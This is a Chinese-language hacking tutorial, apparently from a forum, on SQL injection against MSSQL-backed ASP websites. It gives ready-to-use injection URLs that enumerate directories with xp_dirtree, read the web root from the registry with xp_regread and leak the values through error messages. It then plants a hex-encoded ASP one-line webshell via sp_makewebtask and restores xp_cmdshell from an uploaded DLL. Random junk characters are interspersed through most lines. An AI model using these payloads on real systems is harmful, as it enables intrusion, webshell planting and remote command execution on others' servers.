好,我们exec master..xp_dirtree'd:/test'
# N# F# T5 q' A$ I3 Q4 X4 j假设我们在test里有两个文件夹test1和test2在test1里又有test32 B, D) e5 J {0 q
结果显示, j$ R7 T: w8 I2 u5 E1 u) `* R
0 j/ u1 G6 v7 h& h; G" l2 ^% o
subdirectory depth9 p- z4 {) P( k
test1 1
: O1 c! m% {2 |- X3 b, a( wtest3 2
; d9 y1 e3 i) [1 e8 \test2 1& w/ ^- o3 B' q. J9 w
$ L9 B0 {, n; I- g哈哈发现没有那个depth就是目录的级数
9 {0 k1 @6 v' z8 |. Eok了,知道怎么办了吧2 `! }2 K+ u* ^5 K: l0 d8 z( I6 A
$ S; s- q* x6 M6 S; B1 M4 @
http://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(1000),id int)--
% q6 N; Q3 x& z O+ z8 q4 m ^http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'd:\' -- $ f1 n; l- @; Y b4 ]$ g$ R# ^% B
http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where id=1)-' ~/ p0 |; X6 W+ Y% T$ p
Q5 d$ C0 f$ L# h
只要加上id=1,就是第一级目录 。
& _" M, D4 g/ P# l2 z0 ^% R! f, R+ M- @1 \: l: O
' P6 H* K. u3 [1 H. {( U
通过注册表读网站路径:% i+ h0 c: y8 Q1 F# J
; [5 K; K- k5 x- ?: P3 u1.;create table [dbo].[cyfd] ([gyfd][char](255));
5 G+ I- y+ V( Y' g& h! }* D1 a
+ x4 j6 J3 X3 w2.DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE', 'SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into 临时表 (临时字段名) values(@result);--4 W2 f/ f8 @- H: b
id=2;DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into cyfd (gyfd) values(@result);--2 }3 q* y: d2 s. v3 S' ^6 M1 s
- n- g4 U4 x, R
3.and 1=(select count(*) from 临时表 where 临时字段名>1)
6 n& L- f9 g7 w, {and 1=(select count(*) from cyfd where gyfd > 1) 8 C" s) h$ M4 b8 P! M- H3 x
这样IE报错,就把刚才插进去的Web路径的值报出来了
7 P# }# p* O* s" o9 ` P* K; \& Q4 }- N0 p/ ` K; n: _8 p' N3 ~
4.drop table cyfd;-- 删除临时表
+ r3 N/ H' U c( ~+ W& ^3 g* \" s5 g
获得webshell方法:+ [2 x. D( ~7 A& }% t9 r6 f
1.create table cmd (a image)-- \**cmd是创建的临时表
6 u. h" j* L! f! q
* \0 T4 E Y0 \. A" Y( S& ?2.insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253EDA)-- 往cmd表里插入一句话6 E4 u3 `' V! |; B% d
) L6 C. E* O, {; m# H. ]1 b: s; ~
3.EXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT image FROM cmd'5 @. ]2 f0 [ X. j* _3 W; U5 R; n
EXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'
' a- A$ y- h. V+ R7 f
: V; P! B/ c. x {$ D& h3 R( X4.drop table cmd;-- 删除cmd临时表( |0 N2 r8 u z* g0 W$ G' c
% F1 T8 b2 U2 h8 I3 ?
恢复xp_cmdshell方法之一:* g) e% a! M+ Z9 q% w
我很快就把xplog70.dll文件给他上传到e:\inetpub\wwwroot目录下了,来吧,我们来给他恢复,提交:
6 U; {- y( M& `1 a' mhttp://www.something.com/script.asp?id=2;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetpub\wwwroot\xplog70.dll'
! s$ ~( h/ i6 H; z. a9 C恢复,支持绝对路径的恢复哦。:)
4 l1 q- p8 }1 t2 g( l9 Y! _! _ |